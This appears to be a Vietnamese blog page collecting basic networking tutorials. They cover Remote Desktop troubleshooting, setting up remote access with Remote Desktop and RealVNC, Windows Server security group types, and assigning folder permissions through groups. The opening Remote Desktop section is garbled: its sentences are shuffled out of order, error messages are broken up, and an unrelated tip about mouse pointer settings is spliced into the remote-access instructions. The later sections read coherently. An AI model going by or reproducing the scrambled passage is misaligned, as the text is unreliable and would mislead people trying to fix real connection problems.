số lý do gây ra vấn đề này. Remote Desktop Protocol được thiết kế để làm việc quan cổng TCP 3389. Vì vậy nếu gặp phải vấn đề kết nối với máy tính điều khiển xa. chúng tôi sẽ giới thiệu cho các bạn một số kỹ thuật khắc phục sự cố khác nhau để có thể sử dụng khi gặp vấn đề nào đó với Remote Desktop. hãy kiểm tra lại tên của máy tính điều khiển xa này. Nếu bạn thực hiện kết nối đến một máy tính từ xa được thiết lập phía sau tường lửa thì tường lửa phải cho phép lưu lượng truyền qua cổng TCP 3389. bạn sẽ không thể chọn được nên sử dụng cổng nào để chuyển tiếp lưu lượng RDP. Remote Desktop sử dụng giao thức RDP. giao thức nằm trên của giao thức TCP/IP. Cách này sẽ không luôn luôn giúp bạn có thể thiết lập được kết nối nhưng trong một số tính huống nào đó nó sẽ giúp được bạn.

Các vấn đề chứng thực Việc thiết lập kết nối ban đầu đi xa hơn khía cạnh khó hiểu nhất của Remote Desktop. Mời bạn thử kết nối vào máy tính từ xa một lần nữa. Please try connecting to the remote computer again. Router sử dụng Network Address Translation (NAT) đối với lưu lượng proxy giữa Internet và các host trên mạng riêng. và bạn sẽ phải bảo đảm rằng tường lửa này cho phép lưu lượng RDP truyền đến mạng riêng. Do một lỗi trong mã hóa dữ liệu nên session này sẽ bị dừng ở đây. Nếu bạn muốn kết nối đến một mạng riêng bằng kết nối VNP hoặc dial up thì cần quan tâm đến việc cấu hình NAT firewall. và nhập vào các thông tin quan trọng của họ. Bạn có thể sửa vấn đề này bằng cách bổ sung thêm một tài khoản người dùng vào nhóm Remote Desktop Users hoặc vào nhóm quản trị viên nội bộ. Mã hóa dữ liệu Một trong những vấn đề khó hiểu nhất với Remote Desktop liên quan đến việc nhận thông báo lỗi dưới đây: Because of an error in data encryption.mạng của họ. Khi quan tâm đến vấn đề các tường lửa. Rõ ràng điều này đã thừa nhận rằng bạn muốn thiết lập một kết nối trực tiếp từ bên ngoài một mạng vành đai. Máy chủ truy cập từ xa được sử dụng cho việc thiết lập các kết nối VPN hoặc dial up thường luôn nằm sau tường lửa. vì kết nối VPN hay dial-up cung cấp cho bạn kết nối đến một mạng riêng. Chính sách cục bộ của hệ thống không cho phép bạn đăng nhập Website hiển thị thông báo lỗi này nếu người dùng. nhưng bị ngăn chặn bởi một thông báo lỗi sau: The local policy of the system does not permit you to log on interactively. thì phải cấu hình tường lửa chuyển tiếp lưu lượng RDP đến host mục tiêu. người đang đăng nhập thiếu những điều khoản cần thiết cho việc đăng nhập bằng giao thức Remote Desktop. this session will end. nhưng có nhiều vấn đề khác mà bạn có thể gặp bất thình lình. . Nếu bạn muốn thiết lập kết nối đến máy tính đang chạy một trong những hệ điều hành khác thì phải bảo đảm rằng tường lửa Windows phải được cấu hình để cho phép lưu lượng RDP. Nếu bạn muốn thiết lập một kết nối RDP từ Internet với một host phía sau NAT firewall. và chỉ có router mới sử dụng địa chỉ IP công. tôi cũng lưu ý rằng cả Windows XP SP2 và Windows Vista đều có tường lửa đi kèm. Nhiều người dùng đã bị ngạc nhiên khi thấy rằng họ có thể tấn công một PC từ xa nào đó.

Nếu cách đây TỐI THIỂU HÓA ĐỘNG TÁC CHUỘT .Thông báo lỗi này thường liên quan đến việc sử dụng máy khách remote desktop hoặc dịch vụ đầu cuối đã quá hạn..com/itc/NewDetail. Nếu thích sử dụng Administration Tool Pack thì bạn luôn có thể sử dụng phiên bản nâng cấp cho Windows Server 2003 tại http://support.. Administration Tool Pack gồm một thành phần client có thể được sử dụng để thiết lập một session từ xa.asp?ID=52&IDL=97&IDD=1131 Được đăng bởi haodalat tại 9:01 CH 0 nhận xét Nhãn: co ban ve Mang may tinh. Kết luận Mặc dù Remote Desktop luôn làm việc khá tốt nhưng đôi khi vẫn khó trong việc thiết lập một kết nối ban đầu. NETWORK. Trong bài này. Được như vậy thì dù vô tâm. Gặp khách hàng ở đâu bạn cũng có thể giới thiệu ngay phần mềm đang chạy trên máy tính ở văn phòng của mình mà không phải cài đặt gì trên máy tính của họ v. RemoteDesktop Truy cập máy tính của bạn ở mọi nơi Truy cập máy tính của bạn ở mọi nơi Với các fan máy tính thì có lẽ không gì lý tưởng hơn là ở bất cứ đâu bạn cũng có thể làm việc với chiếc máy tính của mình. http://www. Client này xuất hiện ngay từ ban đầu tương thích với Windows XP. Khi Microsoft phát hành Windows 2000. Bạn có thể sử dụng chính Remote Desktop client của Windows XP để thiết lập một kết nối với các máy tính khác đang chạy Windows XP.v. Sử dụng Administration Tool Pack của phiên bản Windows 2000 để thiết lập một session Remote Desktop với Windows XP sẽ kích hoạt được thông báo lỗi mà tôi đã đề cập ở trên. đãng trí thế nào bạn cũng không bao giờ rơi vào tình cảnh dở khóc dở cười.microsoft. chúng tôi đã giới thiệu cho các bạn một số nguyên nhân chung của các vấn đề Remote Desktop và một số vấn đề xung quanh có liên quan đến nó.com/kb/304718. chúng đã tạo một add-on có tên gọi là Administration Tool Pack.sanitc. như khi đến cơ quan rồi mới nhớ ra là đã quên chép theo công việc đang làm dở dang tại nhà.

Run. bạn có thể đạt được mong ước này. Nếu sử dụng giải pháp VNC thì tất cả các máy tính chỉ cần được cài đặt tối thiểu phiên bản Windows 9x. Giải pháp Remote Desktop Thiết lập máy chủ: Đăng nhập vào máy tính sẽ là máy chủ với tài khoản (account) người dùng có quyền cao nhất (administrator . Và cuối cùng là kết nối Internet cho tất cả các máy với tốc độ càng cao càng tốt (nếu dùng ADSL thì rất tốt). cuối cùng nhấn phím OK. Sử dụng chức năng Remote Desktop có sẵn trong phiên bản Windows XP Professional hay dùng giải pháp 'mạng ảo' có tên là VNC của RealVNC. và nhấn OK. Sau khi đăng nhập hệ thống.Control Panel trong XP). Điều kiện vật chất hiện thực mục tiêu trên là máy tính của bạn (gọi là máy chủ. và XP đều cho phép thiết lập một con trỏ có thể tự động di chuyển đến các nút hay dùng trong các hộp thoại. đánh dấu chọn lên ổ có nhãn Automatically move printer to the default button in a dialog box (dòng ghi chú của tùy chọn này có thay đổi chút ít trong Windows 2000).Control Panel (hoặc Start. một vài thập kỷ. Windows 2000. mong ước ấy đã trở thành hiện thực. chọn Start. thì nay với sự phát triển rộng khắp và phổ thông của Internet.người quản trị) hoặc thuộc nhóm người dùng Remote Desktop Users (để kiểm tra xem tài khoản của bạn có thuộc nhóm người dùng này không. nhấn chuột phải vào biểu tượng My Computer trên màn hình desktop (hay trong màn hình Windows Explorer) và chọn Properties. nhập vào dòng lệnh lusrmgr. nhấn chọn tab Remote. đánh dấu chọn vào mục có nhãn Allow users to connect remotely to this computer. Me. có thể là PC bình thường) phải được cài đặt Windows XP Professional và kết nối Internet. mong muốn này gần như bất khả thi. Nên ghi lại đầy đủ tên máy tính cùng với . và nhấn hoặc nhấn đúp Mouse (chọn Printers and Other Hardware trước nếu bạn đang ở chế độ xem Categories của XP.Đối với một người đang vội thì mọi thao tác chuột không cần thiết đều thêm bận bịu. hoặc chọn View all Control Panel options trước nếu bạn đang ở chế độ xem 'commonly used' của Me).msc rồi nhấn phím Enter để vào tiện ích Local Users and Groups). Bạn nhấn Start. Máy tính dùng để truy cập (client) thì chỉ cần cài đặt 9x trở lên và có cài đặt phần mềm Remote Desktop (có trong bộ đĩa cài đặt Windows XP Professional/Home). Đến đây bạn chọn Pointer Options.Settings. Tại màn hình System Properties.

còn không bạn nhấn tiếp nút có nhãn Add rồi nhập vào tên các tài khoản được phép truy cập từ xa vào máy tính. Đưa CD-ROM Windows XP Home hoặc Professional vào ổ đĩa CD. Hình 2: Nhập tên máy tính cần tìm vào ô 'Computer' rồi nhấn 'Connect' . các tên cách nhau bởi dấu chấm phẩy (. khi thực hiện thủ tục này thì máy tính chủ Remote Desktop phải đang hoạt động và kết nối Internet): Nếu máy tính của bạn chạy các phiên bản Windows khác XP thì phải cài đặt bổ sung một số tập tin trên đĩa CD-ROM cài đặt Windows XP. nhấn chuột chọn chức năng Perform additional tasks trong danh sách chọn lựa cách cài đặt. chọn mục Set up Remote Desktop Connection ở màn hình tiếp theo rồi tuần tự thực hiện các bước cài đặt chức năng Remote Desktop theo hướng dẫn trên màn hình.các thông tin về Domain và Group để sử dụng sau này. nhập vào dòng chữ nusrmgr. thay vì khai báo tên máy tính để truy xuất từ xa thì nên sử dụng địa chỉ IP. bạn cần tạo cho nó: Nhấn chuột chọn Start. Kinh nghiệm sử dụng cho thấy. Thủ tục xem thông tin địa chỉ IP của một máy tính như sau: Nhấn chuột phải vào biểu tượng My Network Places.cpl.). Nếu thấy tên tài khoản của mình hiện trong danh sách của màn hình Remote Desktop Users thì thôi. Tránh sử dụng mật khẩu có những khoảng trắng đối với account được phép truy cập máy tính từ xa. địa chỉ IP của máy là chuỗi chữ số có 4 nhóm cách nhau bằng dấu chấm nằm trong mục IP Address (Xem hình 1). Thiết lập máy client (lưu ý. Hình 1: Địa chỉ IP của máy tính xuất hiện trong hộp thoại 'Local Area Connection'. Nếu tài khoản mà bạn định sử dụng để thực hiện tác vụ truy cập từ xa không thuộc administrator thì nhấn nút Select Remote Users trong tab Remote ở màn hình System Properties.Run. Trong cửa sổ Network Connections nhấn kép chuột vào biểu tượng có nhãn Local Area Connection. nhấn chuột chọn tab Support. rồi nhấn phím Enter. nhập xong nhấn liên tiếp hai phím OK để đóng tất cả các cửa sổ vừa mở. Thường thì tài khoản của người sử dụng được gán quyền administrator đều được phép truy xuất từ xa từ các máy tính khác trong mạng. Nếu có tài khoản nào chưa gán mật khẩu (password). chọn menu Properties. Chọn từng tài khoản một rồi nhấn nút Create a password và tiến hành thủ tục khai báo mật khẩu cho tài khoản vừa chọn.

VNC Server cài đặt trên máy tính dùng làm máy chủ và VNC Viewer cài đặt vào các máy tính sẽ truy xuất máy tính chạy VNC Server (client). Ở đây dùng phần mềm RealVNC (tải về sử dụng miễn phí tại địa chỉ www. Cũng nên sử dụng chức năng hướng dẫn khắc phục sự cố của Windows XP để nghiên cứu các lỗi Remote Desktop vừa xảy ra.Remote Desktop Connection. Nếu không có ai ở máy chủ. Cài đặt: phần mềm VNC có hai thành phần.Accessories.Giải quyết vấn đề tường lửa': Nếu máy tính chạy Remote Desktop của bạn được bảo vệ bằng 'tường lửa' (firewall) thì nên thảo luận với người quản trị mạng để cấu hình thích hợp cho máy tính và mạng. nhấn Start. Giải pháp VNC Hình 3: Sử dụng chức năng 'Help and Support' của Windows XP để khắc phục sự cố kết nối mạng từ xa. Nếu bạn đăng nhập vào máy chủ ở xa với tài khoản khác với tài khoản đang làm việc trên máy tính này. bạn hãy dùng địa chỉ IP. bạn có thể xem xét sử dụng các phần mềm tiện ích có chức năng tương tự. gateway hay firewall để máy tính bên ngoài có thể đi xuyên qua và tìm thấy máy bên trong. thông báo sẽ tự động biến mất sau vài giây. đôi khi chính bạn phải tự mình cấu hình lại các thiết bị mạng như router.Programs (hay All Programs). Nếu không muốn sử dụng chức năng Remote Desktop của Windows XP. máy chủ ở xa sẽ tự động khóa lại để tránh bị ai đó ở gần tình cờ sử dụng vào công việc khác. nhập tên/địa chỉ IP của máy tính cần truy cập rồi nhấn phím Connect (xem hình 2).Communications. nhấn Enter. sẽ có một thông báo xuất hiện trên máy chủ ở xa để xin phép kết nối. Lúc này. Thủ tục thực hiện như sau: Nhấn Start. Bạn sẽ nhìn thấy màn hình Login của máy chủ ở xa. và bạn có thể đăng nhập. Nếu bạn nhấn 'Yes' để tiếp tục. nếu máy client không tìm thấy máy chủ ở xa theo tên. sau khi thủ tục đăng nhập hoàn tất. Khắc phục sự cố: Như đã đề cập. tìm ra nguyên nhân khắc phục.com) làm ví dụ để hướng dẫn quy trình thiết lập và khai thác.Help and Support rồi nhập chuỗi tìm kiếm 'Troubleshooting Remote Desktop' trong ô Search. . Bạn sẽ thấy danh sách các chủ đề phân theo loại thông báo lỗi (xem hình 3). nếu người sử dụng trên máy chủ nhấn 'No' thì bạn sẽ không truy cập được.realvnc. Truy cập từ xa: Sau khi đã thiết lập kết nối Internet. bạn sẽ nhận được thông báo đã có tài khoản khác đăng nhập trước. Nếu cũng không được thì nên tham khảo chuyên gia về mạng máy tính để chẩn đoán.

. nếu cần truy xuất các máy tính nằm sau 'tường lửa' bạn phải thực hiện thêm một số thủ tục khai báo như trình bày trong mục Giải quyết vấn đề 'tường lửa'.RealVNC. Thủ tục thực hiện như sau: Nhấn kép chuột vào biểu tượng RealVNC ở khay hệ thống. Biểu tượng của RealVNC sẽ xuất hiện tại khay hệ thống.Run VNC Viewer để khởi động RealVNC. bạn sẽ thấy xuất hiện màn hình desktop của máy tính chạy VNC Server trên cửa sổ VNC Viewer. Cũng giống như Remote Desktop của Windows XP. RemoteDesktop Kiến thức cơ bản về mạng: Phần 14 – Các nhóm bảo mật .Programs.com/itc/NewDetail. hiệu ứng con trỏ chuột. chúng ta nên lược bỏ bớt một số thiết lập không thật cần thiết như ảnh màn hình nền. Từ giờ trở đi bạn có thể thực hiện mọi thao tác trên máy tính VNC Server như đang ngồi thực sự tại máy tính này.com/firewall).Programs (hay All Programs). nhưng bạn có thể thực hiện thao tác này bằng chuột.Run VNC Server.. Để tăng tốc hệ thống. Nên khai báo mật khẩu truy cập hệ thống để an toàn (hình 4).sanitc. tham khảo thêm hướng dẫn trực tuyến của RealVNC (http://www. Tăng tốc: Cho dù sử dụng đường truyền Internet tốc độ cao thì hệ thống VNC vẫn có thể chạy rất chậm do thông tin chuyển giao trên hệ thống không chỉ đơn thuần là dữ liệu mà còn có các hình ảnh giao diện của màn hình máy tính chạy VNC Server. Tùy theo tốc độ đường truyền. bỏ đánh dấu chọn các mục không cần dùng như Remove Desktop Wallpapers. trang trí thanh tiêu đề.. Nhấn kép vào biểu tượng này để mở giao diện RealVNC Server và khai báo các thông số hoạt động cần thiết.realvnc. Tham khảo thêm tài liệu hướng dẫn sử dụng trực tuyến của VNC tại find. NETWORK. nhập địa chỉ IP của máy tính chạy VNC Server.asp?ID=52&IDL=97&IDD=1164 Được đăng bởi haodalat tại 9:00 CH 0 nhận xét Nhãn: co ban ve Mang may tinh.. Ghi lại địa chỉ IP của máy tính cài đặt VNC Server để tiện cho việc truy xuất từ xa thông qua VNC Viewer (để con trỏ chuột trên biểu tượng RealVNC nằm trên khay hệ thống khoảng vài giây sẽ hiện ra địa chỉ IP của máy).pcworld. nhấn OK. Hình 4: Khai báo mật khẩu lúc bắt đầu thao tác phần mềm VNC.RealVNC. Điều này hơi phiền toái nếu bạn quen dùng Alt-Tab để chuyển qua lại giữa các ứng dụng.Tại máy tính dùng làm máy chủ. một vài tổ hợp phím chức năng như Alt-Tab chỉ có hiệu lực với máy tính chạy VNC Viewer.com/41724. Khai thác: Nhấn Start. sau khi cài đặt xong RealVNC và nếu RealVNC chưa chạy thì nhấn Start. http://www. cuối cùng nhấn OK. Tuy nhiên..

Local Group Các nhóm local là các nhóm riêng cho từng máy tính. Trong khi đó một nhóm local có thể và thường gồm những người dùng cục bộ thì nó cũng gồm có cả các người dùng trong miền. Ví dụ. Bạn dường như cảm thấy có thể thả một nhóm này vào trong một nhóm khác. chúng tôi sẽ giới thiệu cho các bạn về mỗi kiểu nhóm này được sử dụng cho mục đích gì. nhóm local Administrators cho phép bạn có thể chỉ rõ người dùng nào là quản trị viên trên máy tính cục bộ. Mặc dù nhóm local chỉ có thể được sử dụng để bảo đảm việc cư trú của tài nguyên trên máy tính cục bộ nhưng điều đó không có nghĩa rằng các thành viên trong nhóm cũng bị hạn chế đối với những người dùng cục bộ này. Ngoài ra cũng có một kiểu nhóm thứ 4 không được hiển thị ở đây. và chúng chỉ có khả năng truy cập từ máy tính mà chúng cư trú. Đầu tiên như bạn có thể chú ý thấy. các máy tính cục bộ có thể gồm có nhiều tài khoản người dùng độc lập hoàn toàn với các tài khoản thuộc về miền máy tính đó được kết nối tới. Một nhóm local thường được sử dụng để quản lý các tài khoản người dùng cục bộ. nó được gọi một cách đơn giản là nhóm local. Ví dụ. một nhóm local không thể chứa một nhóm local khác. global. bạn sẽ thấy được vùng Group Scope cung cấp một số tùy chọn để tạo nhóm domain local. Trong bài này. Cần lưu ý những vấn đề đó thì bạn sẽ không hề ngạc nhiên khi các nhóm đó chỉ đơn giản là các nhóm riêng cho từng máy chủ thành viên hay máy trạm làm việc. domain local group. Quả thật vậy. các thành viên của nhóm universal về cơ bản sẽ trở thành các thành viên của nhóm local. Thêm nữa. hay universal. một nhóm local có thể gồm local user. Hơn nữa các nhóm local cũng có thể gồm có cả các nhóm khác cư trú ở mức miền.Trong bài phần trước chúng tôi đã giới thiệu cho các bạn cách tạo nhóm abảo mật trong Windows Server 2003. Một số thành viên tại Microsoft đã có . Chúng được biết đến như các tài khoản người dùng cục bộ. Hình A: Windows cho phép bạn tạo một số kiểu nhóm khác nhau. Trong thực tế. Các bộ điều khiển miền không cho phép tồn tại các tài khoản người dùng cục bộ. Khi giới thiệu những thứ đó. domain user. chắc hẳn bạn cũng đã thấy được rằng Windows sẽ cho phép tạo một số kiểu nhóm khác nhau như được thể hiện trong hình A. Bạn sẽ biết về nó ngay bây giờ. các tài khoản người dùng cục bộ cũng chỉ có thể tồn tại trên các máy trạm và trên các máy chủ thành viên. bạn có thể tạo cho một nhóm universal một thành viên của nhóm local. Nếu nhìn vào hộp thoại hiển thị bên trên. nhưng không thể làm như vậy với nhóm local. global group và universal group. mỗi một kiểu nhóm này có một mục đích cụ thể. Có hai điều báo trước ở đây mà bạn cần phải biết.

Domain Local Groups Khác hẳn với những gì bạn vừa đọc được về các nhóm local. Bây giờ mục đích của bạn là muốn chuyển đổi một máy vào một bộ điều khiển miền. Hay nói cách khác bạn không thể tạo cho các nhóm này là thành viên của nhóm domain local khác. Ở đây bạn cần phải biết được rằng tất cả các bộ điều khiển miền bên trong một miền đều chia sẻ một cơ sở dữ liệu tài khoản người dùng chung với nhau. Khi bạn cài đặt Windows Server 2003 trên một máy tính. ý tưởng của nhóm domain local dường như hoàn toàn trái ngược. Bất kỳ nhóm domain local nào được tạo ra bằng việc chạy DCPROMO đều được định vị trong thư mục Builtin trong Active Directory Users and Computers console. Khi bạn chạy DCPROMO. máy tính sẽ được bắt đầu như một máy chủ độc lập hay một máy chủ thành viên chẳng hạn. Điều đó có nghĩa là nếu bạn thêm một người dùng vào nhóm domain local trên một bộ điều khiển miền thì người dùng này sẽ là một thành viên của nhóm domain local trên mọi bộ điều khiển miền trong tòan bộ miền. Thậm chí các bộ điều khiển miền có các tài nguyên cục bộ cần được quản lý. Trong cả hai trường hợp đó thì tài khoản người dùng cục bộ và nhóm cục bộ đều được tạo ra trong suốt quá trình cài đặt. Như chúng tôi đã đề cập tới. Các nhóm bị hạn chế này không thể bị chuyển hoặc bị xóa. khi DCPROMO được chạy. . Ngược lại.lần giải thích lý do cho vấn đề này là để ngăn chặn một tình huống mà ở đó hai nhóm local trở thành các thành viên của nhau. Một thứ quan trọng nhất mà bạn cần lưu ý ở đây về các nhóm domain local là có hai kiểu khác nhau. Lý do tại sao các nhóm domain local tồn tại là vì các bộ điều khiển miền không có cơ sở dữ liệu tài khoản cục bộ. xem hình B. Hình B: Các nhóm domain local đã tạo bởi DCPROMO cư trú trong Builtin container Vấn đề này khá quan trong là vì có một số hạn chế áp đặt trên một số nhóm domain local. Một vấn đề khác mà bạn cần biết nữa là các nhóm local đó chỉ có thể gồm domain users và domain level groups nếu máy tính gồm nhóm local là một thành viên thuộc miền. nhóm local chỉ có thể gồm local users. Điều này có nghĩa rằng không có các thứ khác như vậy khi người dùng cục bộ hay các nhóm local trên một bộ điều khiển miền. nhóm local được chuyển đổi thành các nhóm domain local. các nhóm local và tài khoản người dùng cục bộ được chuyển đổi vào các nhóm domain local và tài khoản người dùng domain. Đây chính là nơi các nhóm domain local thực hiện vai trò của nó.

theo cách đó bạn đã làm cho các nhà quản lý của bạn có được quyền của quản trị viên trên các máy trạm đó. Từ đó. bạn có thể tạo một nhóm global có tên gọi Managers và đặt mỗi một tài khoản người dùng miền của người bạn muốn làm trong nó. http://www. chúng tôi vẫn chưa thấy một chủ đề tốt nào cho việc tạo các nhóm domain local. Trong phần tiếp theo của loạt bài này. chúng tôi sẽ tiếp tục giới thiệu cho các bạn về các nhóm universal. Ví dụ. miễn là cả hai nhóm này tồn tại bên trong cùng một domain. các nhóm global này chỉ có thể có tài nguyên Active Directory. Kết luận Trong bài này. các nhóm này cơ bản giống hệt như các nhóm global. Sau đó bạn có thể bổ sung nhóm Managers vào nhóm local Administrators của máy trạm.Tạo các nhóm . NETWORK Kiến thức cơ bản về mạng: Phần 13 . Mặc dù vậy bạn lại vẫn có thể thêm vào nhóm global này một nhóm local.sanitc. Thứ mà chúng ta cần quan tâm về các nhóm này là chúng có thể được đặt bên trong nhau. Các nhóm domain local mà bạn tại sẽ tồn tại trong mục Users.com/itc/NewDetail. domain local và global. Trong thực tế. nhóm global đơn giản chỉ làm việc như một bộ sưu tập các tài khoản người dùng Active Directory. Bạn có thể tạo cho nhóm global một thành viên của một nhóm global khác. Để thực hiện điều đó. Cần phải lưu ý rằng. Chúng tôi đã nói với bạn về tất cả những năng slàm việc với Windows Server.Những hạn chế này không áp dụng cho các nhóm domain local mà bạn tạo. Global Groups Global groups là một kiểu nhóm được sử dụng phổ biến nhất.asp?ID=52&IDL=97&IDD=1182 Được đăng bởi haodalat tại 8:43 CH 0 nhận xét Nhãn: co ban ve Mang may tinh. ngoại trừ những gì chúng bị hạn chế đối với một miền riêng. Và cũng trong đó. chúng tôi đã giải thích rằng Windows có hỗ trợ sử dụng bốn kiểu nhóm bảo mật khác nhau. Trong hầu hết các trường hợp. Trong thực tế làm như vậy là cách thường được sử dụng nhất đối với việc cấp các quyền cho người dùng miền để họ có thể thao tác với các tài nguyên được lưu trên máy tính cục bộ. bạn hoàn toàn thoải mái chuyển hoặc xóa chúng mặc theo ý thích của bạn. chúng tôi đã giới thiệu sự khác nhau giữa các nhóm local. Chính vì vậy bạn không thể định vị một tài khoản người dùng nội bộ hoặc nhóm nội bộ trong nó. với mục đích bạn muốn cho các nhà quản lý trong công ty có được các quyền quản trị viên đối với các máy trạm của họ (nên nhớ rằng đây chỉ là một ví dụ chứ không phải là một lời khuyên răn bạn nên làm như vậy).

các tài khoản người dùng là rất cần thiết. chúng ta sẽ phải xem . Trong môi trường miền. Một số yếu điểm bắt đầu xuất hiện. mạng đã trở thành một đống hỗn độn đến nỗi tất cả tài khoản của người dùng đã bị xóa và được tạo lại từ đống đổ nát đó. Rõ ràng. một số có liên quan đến hiệu suất phần cứng. Chúng tôi đã thấy được những hậu quả trong việc phát triển nhanh và không mong muốn đối với các mạng trong thế giới thực. Tại thời điểm đó. Thời gian này tác giả đã rời công ty được một vài năm nhưng vẫn còn có hàng nghìn người đang dùng một mạng mà chỉ được thiết kế ban đầu để quản lý cho đơn vị người dùng tính theo vài chục người. Người chịu tránh nhiệm về mạng trước kia không có nhiều kinh nghiệm về CNTT và đã bị đuổi việc. Khoảng 15 năm cách đây. Lúc đó. bởi vì bạn sẽ không thể biết được mạng của bạn sẽ phình ra trở thành một mạng lớn vào khi nào. nhưng hầu như tất cả lý do chính là hiệu quả quản lý các tài khoản người dùng của một mạng được thiết lập hạn chế ngay từ ban đầu. anh ta đã cấu hình mạng để tất cả các thiết lập cấu hình tồn tại đối với tất cả người dùng cơ bản. Bằng việc sử dụng các công nghệ quản lý tốt ngay từ khi bắt đầu sẽ giúp bạn tránh được những cơn ác mộng sau này. Bạn có thể hình dung ra được cảm nhận của những người dùng mạng lúc này. gán cho người dùng một địa chỉ email duy nhất. tác giả của bài viết này đã được thuê quản trị mạng cho một công ty bảo hiểm. Trong phần này. Nó chỉ có một số máy trạm làm việc được kết nối. Như chúng tôi đã đề cập từ trước. chúng tôi đã giới thiệu cho các bạn cách sử dụng Active Directory Users and Computers console để tạo và quản lý tài khoản người dùng.Trong phần trước của loạt bài này. Trong vòng một năm đã có đến trên 200 máy tính được kết nối mạng. chúng tôi muốn tiếp tục giới thiệu cho bạn về các nhóm. không có sự hiểu biết tốt. tất cả các thiết lập cấu hình và bảo mật là dựa theo người dùng. Điều đó có nghĩa rằng nếu một quản lý viên nào đó đến hỏi chỉ cho anh ta ai đã truy cập vào tài nguyên mạng. Quả thực. và có được tất cả các cần thiết khác của mỗi người. Việc không có nền tảng CNTT. Điều này có nghĩa là bạn hoàn toàn có thể kiểm tra hành động trực tuyến của người dùng và cũng có thể trao cho tài khoản người dùng một tập hợp cho phép. mạng này rất nhỏ. điều này không có vấn đề gì vì không có nhiều người dùng và nó cũng dễ dàng quản lý các tài khoản khác nhau và các cho phép. Lời khuyên của chúng tôi là dù bạn quản lý một mạng rất nhỏ thì cũng nên xử lý mạng nhỏ này như nó là một mạng lớn. Tài khoản người dùng cho phép một người dùng được phân biệt với các người dùng khác trên mạng. sự tăng trưởng quá nhanh không như mong đợi có thể gây ra nhiều vấn đề nhưng bạn có thể vẫn phân vân rằng tại sao trong thế giới thực mọi thứ lại dễ trở thành không thể quản lý như vậy đối tất cả các tài khoản đến nỗi phải xóa chúng.

do vậy chúng tôi sẽ minh chứng kỹ thuật này cho bạn. biểu tượng một đầu người được sử dụng cho tài khoản người dùng. không quan tâm về phạm vi của nhóm hoặc các thiết lập kiểu của nó. điều đó chỉ thị rằng nó là một nhóm. và nhóm Data sẽ được bổ sung vào danh sách người dùng như trong hình B. Giả dụ các sự kiện mà chúng tôi đã miêu tả đã xảy ra cách đây hàng thập kỷ. bạn hãy tạo một nhóm. Khi chỉ có một số người dùng thì việc kiểm tra này chỉ cần xem xem những người dùng này có truy cập vào đó hay không (chỉ mất khoảng chừng 20 phút). biểu tượng của nhóm sử dụng hai đầu người. một nhóm có thể gồm có nhiều tài khoản người dùng. Thay vì gán trực tiếp sự cho phép cho người dùng. Khi mà nền công nghệ thông tin chưa lớn mạnh. vì nhóm này sẽ được sử dụng để bảo vệ thư mục Data. chúng ta hãy gọi nhóm này là Data. Lúc này bạn hoàn toàn có thể bổ sung thêm các tài khoản người dùng vào nhóm. Chọn tab Members của trang thuộc tính. Hình B: Nhóm Data được bổ sung vào danh sách người dùng Bây giờ kích đúp vào nhóm Data. Chúng tôi sẽ giới thiệu về các thiết lập này trong phần tiếp theo của loạt bài này. Giả dụ rằng một trong số các máy chủ file của bạn có một thư mục tên Data. Ý tưởng cơ bản nằm sau các nhóm này là. bạn cũng phải gán tên cho một nhóm. Khi các thiết lập bảo mật được gán ở mức nhóm thì bạn sẽ không bao giờ nên gán các cho phép trực tiếp đến tài khoản người dùng mà thay vì đó bạn nên gán sự cho phép cho một nhóm. Khi giao diện được mở. Chúng tôi đã nhận ra rằng.các tài khoản để xem có người dùng nào đã truy cập vào tài nguyên đó không. Tất cả các vấn đề chúng tôi đã miêu tả có thể được ngăn chặn nếu các nhóm được sử dụng ở đây. Để dễ dàng cho quản lý. Các tài khoản bổ sung là các thành viên nhóm. Tối thiểu. . thì làm như vậy sẽ mất quá nhiều công sức. chọn lệnh New | Group. Lúc này. Để thực hiện điều đó. bạn sẽ thấy trang thuộc tính của nhóm. điều này có thể gây ra một chút phức tạp. Bằng cách làm như vậy. bạn sẽ thấy xuất hiện một màn hình tương tự như màn hình được hiển thị trong hình A. kích chuột phải vào mục Users. Hình A: Nhập vào tên nhóm mà bạn đang tạo Kích OK. khi mà các hệ điều hành mạng như trước kia không còn tồn tại nữa nhưng bài học về những ngày lịch sử đó vẫn cần phải nhắc lại. Lưu ý rằng. bạn mở Active Directory Users and Computers console. thì các sự kiện đó có thể vẫn xuất hiện và được thực hiện bình thường. và bạn cần phải đồng ý cho một người dùng truy cập (đọc) thư mục Data này. Tuy nhiên. sau đó tạo cho người dùng là một thành viên trong các nhóm đó. Tuy nhiên đối với một mạng lớn có đến hàng trăm người. Bạn có thể thấy những gì trong tab này thông qua hình C. kích nút Add.

bạn nhập vào tên của nhóm đã tạo (Data) và kích OK. quá trình này trở nên đơn giản rất nhiều.sanitc. Hình D: Nhóm Data được bổ sung vào danh sách điều khiển truy cập của thư mục Hãy nhớ rằng trước đây chúng ta đã đề cập đến bao nhiêu công sức để tìm ra được người dùng nào đã truy cập vào tài nguyên? Khi các nhóm được sử dụng. NETWORK Kiến thức cơ bản về mạng: Phần 12 – Quản lý tài khoản người dùng Trong phần trước của loạt bài này.com/itc/NewDetail. bạn cũng có thể xóa các điều khoản cho thư mục bằng các xóa tên của người dùng khỏi danh sách thành viên. chúng tôi đã giới thiệu cho các bạn về Active Directory Users và Computers console. Vào tab Security của trang này. có một số quyền được áp dụng đối với thư mục một cách mặc định. Khi đã xác định được nhóm có thể truy cập vào thư mực. kích nút Add. Để thực hiện điều này. Trong phần này. Nếu bạn cần biết người dùng nào đã truy cập vào thư mục. hãy xem các nhóm nào đã truy cập vào thư mục đó trước như trong hình D. Kết luận Trong phần này. bạn hoàn toàn có thể thiết lập một tập các cho phép (điều khoản) đối với nhóm. Khi đó bạn sẽ thấy xuất hiện trang thuộc tính của thư mục. Bất cứ thời điểm nào những người dùng khác cần truy cập vào thư mục.Hình C: Tab Members liệt kê tất cả các thành viên của nhóm Lúc này là thời điểm đưa nhóm ra làm việc. nhưng còn một vấn đề mà chúng tôi muốn giới thiệu tiếp đó là cách sử dụng giao diện điều khiển này trong các nhiệm vụ quản lý hàng ngày.asp?ID=52&IDL=97&IDD=1181 Được đăng bởi haodalat tại 8:30 CH 0 nhận xét Nhãn: co ban ve Mang may tinh. http://www. Tạo một tài khoản người dùng (User Account) . Khi được nhắc nhở. Mặc dù trong phần đó đã giới thiệu cách kết nối đến miền cần chọn bằng giao diện này. Trong phần tiếp theo của loạt bài này. chọn lệnh Properties. chúng tôi sẽ giới thiệu cho các bạn một số kỹ thuật cơ bản cho việc bảo quản tài khoản người dùng. Tốt nhất bạn nên xóa các quyền này (Users group) ra khỏi danh sách điều 